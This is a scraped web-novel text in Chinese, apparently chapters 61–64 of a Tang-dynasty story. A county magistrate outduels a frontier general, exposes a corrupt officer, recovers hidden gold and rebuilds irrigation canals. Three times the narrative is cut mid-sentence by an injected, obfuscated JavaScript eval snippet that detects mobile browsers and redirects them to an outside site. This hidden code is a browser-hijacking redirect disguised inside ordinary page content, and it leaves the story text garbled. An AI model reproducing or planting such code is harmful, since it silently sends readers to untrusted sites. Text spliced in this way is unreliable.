洛北轻轻一笑:“沙吒将军言重了。将军治军严明,乃我鸣沙百姓之幸。” 这句恭维让沙吒忠义脸色稍霁,他一扯唇角:“听说你在朝中还有些名声,是犯了错被贬到鸣沙来的,犯了什么错?总不能是勾搭了哪位高官的老婆吧?” 他话音一落,营帐里顿时升腾起一片粗野的欢笑声。女皇当政这些年,朝中云集了一批依附女皇男宠张氏兄弟的宠臣,这些人容貌出众,以文辞为名,却没有多少真才实学,沙吒忠义见他年少,又容貌出众,故而刻意拿这样说桃色消息来调笑。 洛北厌恶他们以此为乐,面上却没有表露,只看着沙吒忠义道:“下官确实是被贬到鸣沙来的,至于罪名嘛,不说也罢。” “洛明府不要害怕。”便有副将帮腔起来,“消息便在帐中传播,出得你口,入得我等耳中,绝不会泄露出去的。” 洛北佯作为难:“下官只怕说出来,对诸位不利。” 在场的将领们更是来了兴致,一个个只道:“我们只听说因言获罪,没听过因为听了几句话就获罪的。你但说无妨。” 沙吒忠义也道:“洛明府,如今你我身在这山高皇帝远的地方,还担心什么朝中的酷吏和网罗?你放心,我这儿有数万大军,不会叫你有事的!” 洛北点了点头:“既然将军这么说,下官就放心了。下官被贬谪到此地的罪名很简单,只有几个字。” 他一字一顿地道:“谋刺武三思!” 这几个字一出,帐中顿时一片寂静,几个起哄的副将都低下头去,深恨自己长了耳朵听到这句大逆不道的话。 沙吒忠义倒来了兴致,他又把洛北上下打量一番,但见他身形修长,容貌俊秀,神情温和如杨柳拂风,怎么也无法把他和以命相搏的刺客杀手对照起来:“洛明府这话当真?我怎么不敢相信——” 他话音一落,已将手边一把长枪抓在手中,挺身向洛北刺来。洛北不防他突然出手,只得偏头一避,背身抽出唐刀,架开沙吒忠义的枪杆:“沙吒将军,你这是什么意思?!” 沙吒忠义手持长枪,哈哈大笑:“洛明府,倘若你能接我三招不败。我便认了你今日所说都是真的,否则,你在我中军帐还敢巧言欺诈,我便要以军法论处!” 哥舒亶在一边神色一变,正要说情。 洛北却已点了点头:“好。”他将身上的锦袍官服脱下叠到一边,露出居家穿的窄袖圆领,将刀向沙吒忠义一横:“请将军赐教。” 沙吒忠义见他豪气坦荡,点了点头,手中长枪已一递一送,直取洛北面门。洛北不慌不忙,拔身旋转半圈,衣袖横扫,反手一格,“铛”正架在沙吒忠义劈过来的枪头上。 沙吒忠义虎口巨震,想要收枪又挣脱不开,干脆手腕一抖,枪尖横扫过刀刃,拉出火光四射,又反手一挥,横击洛北腰侧。 洛北见状,当即横身向侧一避,一腿上踢,一手下落,一个“燕回昭阳”,避开他这一枪。他伸手一拍地面,借力翻了个身,人已经到了沙吒忠义近前。 以长枪对短刀,最怕的就是短刀一方近身缠斗,沙吒忠义久在沙场,也深谙此道,见状不免面容一紧,忙将枪回撤,左挥右扫,洛北正手一挡,手中半挽个刀花划过他胸前,又反手一格。 只听得“咣当”一声,沙吒忠义手中长枪坠地,他立在那里,大口大口地喘着气,脸上依旧是一派严肃,忽而秋风吹拂,他胸前的衣襟飘然而起,也落在了地上。 若不是洛北手下留情,如今便是沙吒忠义胸前的鲜血喷涌而出了。 在场众将勃然变色,各个亮出兵刃。哥舒亶暗叫了声不好,也要去摸自己的刀柄,手腕却被洛北牢牢抓住,不让他动作。 洛北反手持刀,神情自若,衣襟随风飞舞,立在一端看着沙吒忠义。 沙吒忠义终于忍不住哈哈大笑起来,他一手指了指哥舒亶,道:“这小子和我说你就是当年三箭救下阿史那斛瑟罗的那个将军,还说他在你手下没能走过几招——我一开始还不信,如今一见,果然是闻名不如见面!” 他这样一笑,帐中气氛也如冰雪消融般活跃起来,刀刃和枪尖都被收了起来,各个将领无不捧腹大笑起来。 刚刚那凑趣的副将又开了口:“不怪大总管小看了洛明府,谁知道洛明府这副俊雅清贵模样,还能是身手绝佳的高手呢?” “就是,我还听说洛明府到了鸣沙第一件事,就是诛杀了鸣沙河中为非作歹的恶鱼。”另外一位副将也笑道,“可见洛明府不仅身手了得,还精通骑射啊……” 帐中吹吹捧捧的声音响成一片,洛北收刀回鞘,面容也露出三分笑意:“沙吒将军……” 沙吒忠义挥挥手,打断了他的话:“自我从长安来了鸣沙,再也没有和人这般畅快淋漓地打过一场了!” 他走下中军帐,已如多年老友那般把手臂搭在了洛北肩上,又招呼左右:“都愣着干嘛?还不快拿酒来!” 哥舒亶长出一口气:“我这就去拿!” 洛北暗自在心底摇了摇头,他现在算是知道哥舒亶这数年不改的直率冲动是从何而来了。 酒坛端到中军帐中,沙吒忠义率先开了一坛,往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281683|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛北碗中倒了一碗,又给自己倒了一碗:“洛明府,我与你一见如故,见你人才出众,是真心想结交你这个朋友,来,将酒干了!” 洛北微微一笑,与他将酒碗一撞:“承蒙将军看得起我,我先干为敬。”说罢,一仰头将碗中之酒喝了个干净。 “洛明府豪气!要我说,姚相公可是大错特错,放着你这么一个大才不在军中任职,非要把你弄到长安去当什么职方司郎中。无趣,无趣!”沙吒忠义说罢,又要往洛北碗中倒酒。 洛北忙伸手止住他的动作:“沙吒将军,下官今日前来,是有要事相求。” “要事?”沙吒忠义微微皱眉,像是有几分不悦,“是平流民的事,还是买田地的事啊?我虽然是灵武道大总管,但并不直接管理地方行政,这样的事情,你应当去灵州找李贞啊。” 洛北已从沙吒忠义的话语中听出他几分不悦,只得拱手道:“我前来鸣沙赴任之前,已在灵州拜会了慎交兄。开田也好,安置流民也好,都向他禀报过。但我今日要说的这件事,非你沙吒将军出手相助不可。” 沙吒忠义来了几分兴致:“哦?你说来听听?” “下官想问将军借精军二百,随我起赃!” “起赃”二字常与金银财宝连缀在一起,在场的不少将领纷纷投来目光,洛北仿佛浑然不觉,只看着沙吒忠义。 沙吒忠义自然也来了兴致:“哦?什么?有多少钱?” 洛北道:“沙吒将军可听闻前任赵县令突然被杀的案子?” 沙吒忠义点了点头:“这是自然,查案的御史到鸣沙时,还到军中和我喝过茶。” “下官到鸣沙之初,确为此案所累,不敢来拜见沙吒将军。”洛北笑道,“但此案如今已经告破,凶手不是别人,正是赵县令自己。” 他删繁就简地说了一番赵县令如何贪赃枉法,敛财无数,把鸣沙县的府库当成自己的私库,而后此事被顾县丞发现。赵县令便临时起意,设局杀了顾县丞,让顾县丞换上自己的衣服,找来野兽,造假了一个“赵县令遭到野兽袭击,尸骨无存”的现场。 “而他则扮作‘顾县丞’模样,潜藏在县衙之中,待我这个继任县令也未能识破这个阴谋,便可以带着鸣沙府库中的金银财宝远走高飞。” 这一番离奇谜案听得人人入迷,几个将领连酒都不喝了,只看着洛北这边。 洛北也不在意:“但我识破了他的阴谋,将这危险凶犯扣押起来,严加拷打之下,让他吐出了实话,他说有一半金银财宝在鸣沙附近的一个机密地点,还有一半则被人藏起来了,不知所踪。” 沙吒忠义恍然大悟:“竟是这样,你问我借人,是要去那鸣沙附近的机密地点起赃?” “不错不错。”洛北笑道,主动往自己碗中倒了一碗酒:“将军,有了这笔府库资财,下官也好置办些东西,前来慰劳慰劳将士们呐。” 沙吒忠义哪还用他讲得这么直白:“洛明府,我不是说了么,我是真心想结交你这个朋友。不就是二百精兵吗,借你!叫哥舒亶领人和你一道去。” 洛北脸上笑容不变:“今日还不是时候,我只想请将军应允我这句话,以及……勒令鸣沙所有赤水军官兵,自今日起不准随意出入军营!” 沙吒忠义听出了他话里话外的意思:“怎么,洛明府,你怀疑我这军营成了贼窝?” 62. 第 62 章 沙吒忠义是百战之将,发起怒来毛发耸立,军营中推杯换盏之声一下停了。 洛北却站在那里,浑然无觉似的,眉眼含笑,望着沙吒忠义:“下官愿立军令状。” 哥舒亶在一边见他脱口而出,连忙开口辩解道:“大帅误会了,古来财帛动人心,洛明府只是行事谨慎罢了。”他拽一拽洛北衣袖:“洛明府,沙吒将军治军素来严格,军令状三个字,可不是随便说说的。” 洛北转过头望了他一眼,英俊的面容上依旧带着那种似笑非笑的神情:“不必担心。”他转过身去,拱手道: “倘若明日正午之前不能取得金银,下官愿意接受军法处置。当然,要是取到了,还希望将军能答应我一个条件。” 沙吒忠义哈哈大笑,将酒杯中的酒一饮而尽,拍了拍洛北的肩膀,压低声音: “我知道你洛明府打的是引蛇出洞的主意。但我要告诉你,你要找的同谋绝对不在我军中。要是抓不出来,今日你入帐时见到的那个人便是你的下场——” 他说罢,笑意如霜雪般凝滞,只挥袖而去,大声地在帐外叫起传令官,要他们以防备突厥来袭的名义下令全军戒严一夜。 将令拨出,一应活动即刻停止,高高的营门被人们拉动关闭,洛北站在一片空地上看着士兵们来来去去。 哥舒亶走到他旁边,带着点疑惑不解:“洛明府,沙吒将军这个人本就骄傲,又是瑕疵必报的个性。今日你在帐中赢了他,尚可用比试圆过去。怎么又在酒席上冲撞他?” 洛北指了指远方一片沙色,示意哥舒亶与他同行一阵。两人漫步出了军营,此刻黄昏已过,远处明月高悬,照着这戈壁沙滩越发荒凉。 “哥舒亶,你觉得沙吒将军是个什么样的人?”洛北忽而轻声发问。 哥舒亶不明就里,他几乎是本能地觉得洛北话里有话,但又无处琢磨洛北的动机,只得听从本心,说了许多沙吒忠义的好话。 洛北点了点头:“不错,赤水军中,人人以他为首,他振臂一呼,群起响应。如果他明天要在军中杀了我,也一定会有不少人为他前驱,对吗?” 哥舒亶为他话中的不详惊骇:“洛公子……你,你不能这么揣度沙吒将军,他,他不会……” “我没有说他会。”洛北摊开双手,“你想知道我怎么看沙吒将军吗?” 哥舒亶没有立刻答话,只是别过脸去,不太想听洛北接下来的话。 “对我来说,他是个病人。”洛北说。 这不同寻常的一句话让哥舒亶立刻转过脸来,一脸惊诧:“洛公子这是什么意思?” “但凡百战名将,身上总有病症,这不稀奇。只是沙吒将军,面红目赤、舌红苔黄,双手颤抖,这便是肝火上炎。”洛北道,“他坐在灵武道大总管的位置,面对着突厥兵马,自己却是个病人,这怎么能不叫人担忧啊?” 哥舒亶脸上又露出数年前一样的惭愧神色:“是我误会了公子。” “误会不误会的,本来也无甚要紧。”洛北同他一道登上沙山,看鸣沙河平静东流:“我其实真的有一件事情,需要你赤水军帮忙。” 哥舒亶见他意有所指,已经心领神会:“洛明府想凿渠引水,灌溉田地?” “不错。我县中人手就那么些,秋收的季节,也不能叫老百姓抛下自家的田地来出徭役,只好把主意打到你赤水军头上。”洛北道:“一应支出从我县里出,伙食由县中供给。只是要请你派几个懂工匠的一道来,如何?” 哥舒亶思索了片刻:“要真是这样,我可以派些人手给你,只是……”他看洛北神情自然,“洛公子,你真的不担心明日吗?” 当夜洛北便留宿在军中。第二日一早,沙吒忠义派人来请他入帐议事,叫他带着众人去寻金银财宝。 洛北点头应允,带着一众将领士兵浩浩荡荡地出了营门,弯过半个鸣沙县城,又绕过一段沙山,最终回到营门之中。 沙吒忠义也不发话,只任他折腾,待他回到营中,即令升堂。两边将领摆足了:“洛北,你如今还有什么话说?来人啊,给我拿下!” 洛北负手而立:“沙吒将军,如今未到正午,何必心急?” 他一身墨绿锦袍立在场中,众人一时为他气势所慑,又想到他昨日轻而易举地击败了沙吒忠义,都不敢上前。 沙吒忠义“哼”了一声:“好,再给你三刻也无妨!” 他话音一落,便有人摆出更漏,点点滴滴,时间便随着这样的声音流逝。正在最后一刻时,帐外响起一个声音:“我是朝廷册封的阴山安乐王慕容宣彻!让我进去!” 沙吒忠义神情有些变了:“你认得慕容宣彻?” 洛北没有答话。沙吒忠义心下恨恨,也只能挥手放慕容宣彻进入大帐。他依旧一身窄袖锦袍,进帐和洛北交换了个眼神,又和沙吒忠义道礼: “沙吒将军,洛明府的人抓了一个犯人要押入帐中,可你的人死活不让他们进来。我只好以郡王身份带他们闯进来了。” 他说罢,也不等沙吒忠义回答,高声叫了声:“押进来!” 吴钩和许平押着一个身着军服的男人走了进来。周围的一众将领见那男人面容,纷纷发出感叹声。 沙吒忠义也有些惊讶——此人竟是他军中司马! 许平从袖中抽出一卷卷轴,展开来是一张张供状,他双手将供状递到洛北手上:“洛明府,属下率人缉捕参与烧杀流民的衙役二十八人,现已全部落网,他们指证赤水军司马为众人首领,所有人都已经签字画押。” 吴钩也将一包袱摔到众人面前,包袱一开,滚出许多金银器物,其中最引人瞩目的是一对对极朴素的金耳环——寻常人家的女孩儿,便是戴着这样的耳环作为唯一的嫁妆走出家门的。连这样的东西也盘剥了来,可见此人恶劣。 吴钩道:“明府,我们进屋的时候,此人正在往床底的坑中掩埋此物,属下便将此物起了来,坑中还有几箱赃物,留待明府处置。” 洛北用打量死人的目光打量了一眼那司马:“人证物证俱在,你还有什么话说?!” 那司马浑身颤抖,低低地伏倒在地:“末将、末将……有罪,大帅饶命!大帅饶命!” 沙吒忠义这才反应过来,昨晚的酒席上的争吵,今日早上率着众人四处搜寻,竟都是一场场戏,为的就是让这混账司马觉得自己已经安全,好自然地把藏宝之地泄露出来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281684|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你贪赃枉法,草菅人命,犯下如此大错,我若容你,国法便不容我!”沙吒忠义恨声道,“将此人拖出去,即刻处以寸磔之刑!” 寸磔酷刑堪比凌迟,那司马惨呼一声,被吓得不省人事,被两个副将架了出去。 “洛……洛明府。”沙吒忠义看看慕容宣彻,又看看洛北:“我治军不严,惹出这等祸事,是我说过错,我……我向你赔罪了!”说罢,将冠冕摘下,双膝一屈,要跪在洛北面前。 洛北心里清楚,沙吒忠义怕的不是他这个小小县令,而是他身后的阴山安乐王慕容宣彻。 他这个县令要弹劾灵武道大总管,奏疏到了政事堂就会被宰相们处置掉。但慕容宣彻要是想告沙吒忠义的状——只消给如今在御前的慕容曦光写个信。 “将军这可是要折我的寿了。”洛北忙扶他起来,“将军,下官只想问问,我与你的那个赌约,还做不做数?” 沙吒忠义连声道:“作数、作数,洛公子要什么?金银?马匹?兵器……兵器可不一定能行。” “人手。”洛北道,“鸣沙河流平缓,可以凿渠引水,灌溉两岸田地。只是如今秋日农忙,百姓没有时间,下官想在冬季结冰之前将此事完成。还请沙吒将军借我人手——一切开支供给都由县中来承担。” 沙吒忠义低头应下:“既然是利国利民的好事,何须赌约来偿还,我自然答应。出公的费用也不用你县中支付,他们是我的兵,还是我管着钱粮的好。你再提个要求吧。” 洛北轻轻一笑,和慕容宣彻对视一眼:两人都知道,这是沙吒忠义心里不踏实了。 “那属下就谢过将军。要说还有个要求的话……”洛北想了想,“要不请将军伸出手腕来,让我试试脉搏?” 沙吒忠义不明所以,慕容宣彻却笑得灿烂:“沙吒将军,你就欣然接受了吧。当年洛明府在凉州,可是远近闻名的神医。舍侄曦光的病,便是洛明府治好的。” …… 待到问完诊,洛北、吴钩和许平带着沙吒忠义赠送的金银、慕容宣彻赠送的礼物和起出的赃物回到了县衙。 许平这辈子还没见过这么多金银财宝,这边摸摸,那边看看,几乎有种一夜成了土财主的感觉:“洛明府、洛公子!我这辈子还没见过这么多钱呢!这……都是咱们的吗?” “这都是鸣沙百姓的。”洛北坦然道,“吴钩,你将这些器具首饰登记造册,带人在县中贴出告示,若能找到失主,一一送还。税赋送入库中,许平,你派几个品行好,信得过的人看守。” 吴钩正在粗粗地点那些金银财宝,闻言高声应了声:“是!”又道,“公子,不对啊。我点了这些东西,好像还是和账上的有出入……估计还有些钱,让那姓赵的小子藏起来了!” 许平闻言,恨得牙根痒痒:“我这就带兄弟进牢里好好问问他!” “哎。”洛北叫住他,“我说什么来着,不许滥用刑罚。” 许平有些为难:“洛明府,这姓赵的进了牢里,知道自己干的是杀头的事,那是什么也不说,什么也不做——不给他来两下狠的,我怕他不招啊。” “不用他招。”洛北轻轻一笑,“我已经知道另外的财宝在哪里了。” 63. 第 63 章 书斋之中,依旧弥漫着一股股陈年档案的气息。洛北带着吴钩和许平穿过书桌,来到那扇久修不好的窗户面前:“来,搭把手,这个拆下来!再找盆碱水!” 许平带着几个衙役卖力将窗户拆下,丢进一盆温热的碱水之中,半晌之后,窗户上的木漆斑驳掉落,露出其中金灿灿的内里。 “这……这扇窗户竟然是金子做的?“许平大为惊讶,“明府你是怎么知道的?” 洛北摇了摇头:“一开始我也有过其他猜测,鸣沙山?地下?或者前厅那些箱笼之中?直到这扇窗户一而再,再而三的被风吹得撞上墙壁,我才留意到它。” 他指了指那窗户常与墙壁相撞的边角:“几次碰撞,将覆盖在上面的木漆撞掉了些许,露出里头金灿灿的底子,我一开始并未留意,还以为是木头的纹样。直到那夜处置完赵县令,我才发现自己漏了一个疑点。” “什么疑点?”吴钩好奇道。 洛北笑道:“他既然已经拿到了鸣沙府库的金银,又杀了顾县丞。何必留在鸣沙县呢?” 吴钩想了想:“许是公子来得太着急,他没有时间仓皇逃走?” “不错。我一开始也是这样想的。”洛北点了点头,“但后来他在林中放置饿狼杀我,又煽动流民造反,意图造成动乱——他有这闲工夫,为什么不自己逃走?难道我一个新上任的县令还会对一个县丞穷追不舍不成?” 吴钩恍然大悟:“是因为公子来得突然,又恰好下榻在这书斋中,赵县令没有时间单独将这金窗户拆下拿走。” “不错,他之所以改头换面留在县衙,便是要找机会带走这扇金窗户,只是没想到,他弄巧成拙,反而被我发现了踪迹。”洛北说着,叹了口气:“我猜想,顾县丞大概也是发现了此物,才死在赵县令手中的。” 许平问:“洛明府打算如何处置此人?” 洛北望着书斋外澄明的天色,思绪仿佛回到数年前一个夜晚: 他曾经真心实意地要杀一个杀手报仇雪恨,在黑暗之中,是恩师狄仁杰握住了他的手。 那个时候,狄仁杰说:“唯有手执律法之人才能施行惩罚,而他们也要为自己的判决负责。” 想到此处,洛北轻轻一笑:“自然根据律法定罪,因此人罪大恶极,我将提请判处此人死刑,并枭首示众,以儆效尤。” 数日之后,朝廷发来了复核赵县令死刑,犯法狱卒流放岭南的公文。 洛北亲自监斩,看着刽子手将犯人的脑袋挂在了城门上。他在法场两边贴出告示,如有财产被无故讹诈侵吞者,可以到县衙登记,确认无误,可以返还。 洛北到任不到一月,定巨兽,雪冤案,安流民,斩贪官,可谓是菩萨心肠,霹雳手段。县中小民奔走相告,连声赞叹,都说鸣沙县来了位神明一般的父母官。 “原来我还担心你的安全。”慕容宣彻率领一干吐谷浑族人向洛北告别时,曾这样和他说,“如今看来,我太小瞧你了。洛明府,你是可以澄清玉宇,安邦定国的。” 洛北不知如何回答他,只得笑而不语。慕容宣彻也不要他的回答,说完便扬鞭起行,向凉州城外行去。吐谷浑族人们赶着牛羊和马匹开过浩荡平原,在河滩上掀起一阵阵烟尘。 洛北看他神采飞扬,脑海中又响起《敕勒歌》的曲调,但草原上自由自在的日子已经离他很远很远。他目送吐谷浑族人们许久,又把目光投向了奔流而去的鸣沙河。 鸣沙河是黄河的一段,黄河从黑山峡咆哮奔流,在大漠与高山的拥抱中拐了个大弯,桀骜不驯的河水在鸣沙这个地方安静了下来,向东缓缓流去。 汉武帝时期,开边移民,鸣沙境内境内始开挖引灌蜘蛛渠,在河心砌石筑堤,引水入渠,把鸣沙变为一片丰饶之土,素有“塞上江南”的称呼。 自此之后,历朝历代,都有官吏对水渠进行修缮和维护。只是自高宗以来,突厥复国,边患频频: 这些自北而南的突厥骑兵,只要一天一夜就能到达鸣沙。战事频频,这些水渠各个年久失修,为淤泥所阻挡,不能够用于灌溉。 洛北这次便是要修复水渠,再开凿新渠,将这鸣沙边地,重新变为富饶的“塞上江南”。 沙吒忠义虽然骄傲,但对凿渠之事情也颇为上心,数日之后,哥舒亶带着洛北向沙吒忠义借调的士兵赶到鸣沙河边。 洛北一身便装,已经早早地站在河边,长身玉立,发带飞舞,河水在他脚下向着远方奔流而去,平静缓慢,远远望去,真有几分神仙风度。 哥舒亶上前向他道礼:“洛明府,你要的人手沙吒将军让我送来了。” “好。”洛北谢过他,望了一眼一众士兵:“这……人是不是多了些?”他只问沙吒忠义借了一千人,这乌压压地望过去,有三四千人之数,这样干活倒是快了,就是他鸣沙府库的粮食不知道够不够发。 “沙吒将军知道鸣沙府库艰难。”哥舒亶见他面露难色,不由得笑着道:“特意要我转告明府,这些人的饮食供给都从他那里走,饷银也照发,绝不让洛明府为难。” 洛北拱手谢过他,带着一众士兵们下地干活去了。 修筑水渠的第一步是用块石镶砌,修筑与河平行的傍河长堤,堤长数百米,是为了迎水入渠。鸣沙河水流极大,便要把坝顶修的稍高于渠道所需水位,使河水少时有足够水量入渠,河水多时也可溢出,防止水溢坏渠。 第二步是在下渠段临河一面的渠堤上设置退水闸数处,水小则关闸,水大则开闸,使得水量为人所控制,灌溉之水得以满足,多余之水泄入河中,这样渠中的水量便可为人调节,不让太多的水淹了田地。 第三步便是在退水闸以下的渠道上修建进水闸(俗称“正闸”)一座,各支渠口都设有木闸,从干渠分水,斗渠口亦设闸从支渠分水。 等这渠道修好了,各地便可以在各处渠上设置木槽,修建排水沟,将鸣沙河水,引入田地,再将多余的河水排出去。 有了这三千人帮忙,堆砌堤坝的第一步走得比洛北想象的更快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281685|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,中午时分,一道堤坝已经粗粗地修整了出来。 许平带着衙役们到工地来送饭,正看到洛北挽着袖子在地中搬砖石:“洛明府,这样的粗活你怎么也上手了?” “反正衙门里没有事,我能帮上些忙也是好事。”洛北擦了擦额头上的汗,往许平那里看了一眼:“我说的那羊肉汤,可帮我准备了?” “知道了。明府,自古出徭役只有自带干粮,哪有您这样给肉吃的?”许平揭开送来的大瓮,一股极动人的羊肉伴着芜菜的香气便飞了出来,“好香,吴主簿也是大方的主儿,这怕是还滴了香油吧。” 洛北笑道:“皇帝还不差饿兵呢,何况你我。”他转头向一众士兵,提高了声音:“哥舒将军!兄弟们!歇一歇吧,磨刀不误砍柴工,吃了中饭,休息片刻,再来干活!!” 已有那忍不住的士兵冲了过来,闻到羊肉香气,差点把口水掉进瓮里。许平和一众衙役一碗碗地替他们分了,又将小米麦饭,炒杂菜端给他们。 士兵们倒是第一次在修工事的时候吃到如此可口的饭菜,一个个狼吞虎咽,生怕被人多吃了一口,又不免赞叹起洛北的大方阔绰来。 哥舒亶也分了碗羊肉汤,当成水一般大口大口地灌下:“哟,碗里还有羊肉块啊,洛明府,你这可是下了血本。”他凑近洛北,玩笑道:“你怕不是准备拼出些成绩来,早日离开这边疆塞外之地?” 洛北哑然失笑,他将两手一撑,坐在地上,示意哥舒亶一道坐下,看着远方河水东流,白云悠远:“实话说,我觉得长安城的日子远不如在鸣沙有滋有味。那个地方目之所及,高低错落的,都是各府和皇亲的宅邸,哪有这辽阔景色可赏。” 哥舒亶也学着他的样子坐下来:“可我总觉得你现在做事有些急。刚刚定了流民,怎么又兴修起水利来?” 洛北不料他观察细致至此:“哥舒将军,你是担心突厥入侵,会将我们今日所做的一切都化为乌有?” 哥舒亶被洛北言中心事,也不见怪——这也不是洛北第一次猜中他在想什么:“是。” “这也是我为什么着急。”洛北叹了口气,“今年默啜是不会南侵的,他忙于国内事宜,无暇他顾。但他已经习惯了劫掠的生活,若无足够强力的兵力威慑,他迟早还会南侵。 突厥人今年不来,明年不来,后年必来!” 他说到最后,语气斩钉截铁,铿锵有力。哥舒亶为他气势所慑,怔怔地望着他。 “我想在今年多做些事情,才能防备着日后的战争。”洛北道,“所以我才着急……留给我的时间,没有那么多。” 哥舒亶神情一动,似乎想起什么似的,开口问道:“洛明府……你是怎么知道突厥国内的情形的?” 洛北英俊的面容上又出现了那种似笑非笑的神情:“我曾在兵部任职,有些机密消息不是再正常不过了吗?” 哥舒亶觉得好像漏了什么,又没有办法再开口,只得起身去打饭来吃。洛北就望着远方天际,思考着未来的战争。 64. 第 64 章 秋去冬来,沟渠和堤坝一日日成型。洛北公务空闲,便在工地上与这些大兵同吃同住,一道干活。终于赶在冬日飘雪之前,将鸣沙县内的水渠修缮一新。 放水的那一日,各处水渠上都站满了鸣沙的百姓。哥舒亶也陪同着沙吒忠义一道来了堤坝上。洛北重新换上锦袍官服,站到最高处,望着众人。 男女老幼挤成一片,竞相观看这位年轻的洛县令的风采。一众百姓见他不过是个二十岁的年轻人,身形修长,容貌俊美昳丽,却能做出那许多惊天动地的事情,不由得心中更笃定了那个神明降世的说法。 洛北望了一眼那攒动的人头,大声地开了口:“诸位父老乡亲,我就是鸣沙县的县令洛北——咱们鸣沙县这些水渠,年久失修了十来年了,多少日子,都是靠着肩扛手提过来的。如今,沙吒将军仗义出手,这水渠替咱们修通了!就差最后这两锹土,这水渠就能放水了!但在放水之前,我有几句话要对大家伙说!” 人群渐渐地静下来,一双双眼睛望着他,迷惑的、不高兴的、胆怯的、欢笑的,什么样的都有。 洛北继续道:“水渠修缮凿通,只是第一步!今日是沙吒将军、哥舒将军和各位赤水军的兄弟们帮了忙,日后咱们也不能老麻烦人家。 所以,自今日起,日后若有水渠决口,我不会再让赤水军来修缮。我会拨出令牌,叫里长抽调百姓的徭役修缮。也希望大家长久考虑,不要只顾一时之利!我洛北是个公正的人,绝不会冤枉好人,也不会放过一个恶人!” 众人没有出声,只是静静地,呆呆地望着他。 洛北也不再说话,挥了挥手。一众士兵将最后一点阻碍的泥沙挖开,刹那间水流涌动,奔流进了鸣沙的土地之中。 岸边呐喊震天,欢呼雀跃,士兵和百姓们混在了一道,高歌欢唱,挽手踏歌。人人面上喜气洋洋,好像看到了第二年稻谷丰收,鱼米满仓的景象。 吴钩和几个里长带着地方三老,拼命挤到洛北和沙吒忠义这边,给他们各自道了大礼:“若不是沙吒将军出手相助,这些军爷们帮忙,这水渠,一辈子也没有修通的一天,还请将军受我们一拜!” 沙吒忠义见他们面上喜气洋洋,心里也有几分欢喜,面上却不表:“为驻地做些贡献,我职责所在,不必感谢。” 哥舒亶在他身后扯了扯洛北的衣裳,向他挤眉弄眼一番:“你安排的?” 洛北以眼神示意:“自然。” 哥舒亶不由得给他竖了个大拇指,高,实在是高。他和沙吒忠义相处日久,知道这位将军最喜欢听人吹捧。何况这些百姓声声称赞又真诚无比。莫说是沙吒忠义,就是哥舒亶都有点飘飘然了。 见沙吒忠义的嘴角即将有压不住的趋势,洛北适时地向他笑道:“百姓们拥护将军,在河岸上摆下了流水席,还请将军和兄弟们不要嫌简陋,与我们一道喝些酒乐一乐。” 沙吒忠义道:“既然是百姓相邀,我岂有不去的道理?”他松了松腰间的革带,“前头带路。” 乡间的流水席面比不上沙吒忠义在长安吃的精致,但胜在食材新鲜,料理出色。 热腾腾的羊肉是向吐谷浑部族买来的好羊,膘肥体壮,白切红烧做汤抓饭,都是热气腾腾,让人吃得满嘴流油。菜蔬都是各家送来的新鲜蔬菜,吃进口中时还带着些水润。饭是新收的小麦,味道甘甜可口。 沙吒忠义连着喝了洛北和里长敬上的几杯三勒浆,神情也逐渐放松起来:“洛县令倒是会做人的。” 洛北听他语气里有些揶揄,也没有放在心上,只笑道:“能为百姓办一件好事,是我这个做县令的幸运。前线粮草丰茂,对将军来说,也是件好事啊。” 吴钩商人出身,极善察言观色,忙出来接茬改了话题:“沙吒将军早年扬名河北的事迹,我家县令常同我们提起,如今有了机会,不妨请将军当面讲讲?” 沙吒忠义摆了摆手,本来不愿开口。但架不住一桌子的人来回劝说,才说起了昔年在辽东、河北和契丹打仗的事情。 他说起往事,目中放光,心里也没再有那么多的事情,将众人的酒一杯杯地喝了,险些没倒在桌子下头。 哥舒亶只得找了辆马车扶沙吒忠义回营,临走前洛北又叫住他:“给沙吒将军的答谢,我放在这马车之中了,你的这份,我就当面给了吧。鸣沙穷苦,你不要嫌少。”说罢,从身后拿出一包二十两的金锭,递到哥舒亶手上。 哥舒亶看到金银,心中百味杂陈,略带深意地望了洛北一眼:“我与明府相交日久,也知道些鸣沙的内情,这金子怕是明府从家里拿出来的吧?” 洛北笑了笑,没有直接回答。 哥舒亶见他不语,不由得叹了口气,又叫回了他“洛公子”: “昔年瓜州城中,公子对我有那么一番谈话,又救我和我族人们的性命。且不说当年的恩情我还没有报答,便说我是大唐的将军,为了这个利国利民的好事出些力,公子也犯不上给我金银。” 他这么说着,神情有些哀伤:“我本以为,靠着咱们这些日子同吃同住,一同扛过石块和沙包,我与洛公子是能称得上朋友的。” 